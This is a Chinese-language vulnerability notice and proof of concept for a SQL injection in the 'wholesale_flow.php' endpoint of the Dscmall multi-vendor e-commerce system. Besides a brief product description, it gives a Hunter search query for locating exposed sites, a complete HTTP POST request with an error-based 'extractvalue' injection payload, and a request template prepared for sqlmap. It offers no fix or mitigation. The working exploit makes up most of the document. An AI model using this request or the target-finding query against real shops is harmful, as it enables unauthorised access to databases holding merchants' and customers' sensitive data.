大商创多用户商城系统wholesale_flow存在SQL注入漏洞
一、漏洞简介
大商创多用户商城系统是上海商创网络科技旗下推出的一款B2B2C多用户商城系统，可以为企业搭建新零售电商平台，覆盖PC商城、小程序商城、APP商城、微商城等多个终端，满足跨境电商、社交电商、s2b2c供应链等多种电商模式。大商创多用户商城系统前台wholesale_flow文件存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
二、影响版本
- 大商创多用户商城系统
三、资产测绘
- hunter
app.name="Dscmall" - 特征
四、漏洞复现
POST /wholesale_flow.php?step=ajax_update_cart HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
rec_ids[]=extractvalue(1,concat(0x7e,md5(2725)))
sqlmap
POST /wholesale_flow.php?step=ajax_update_cart HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
rec_ids[]=1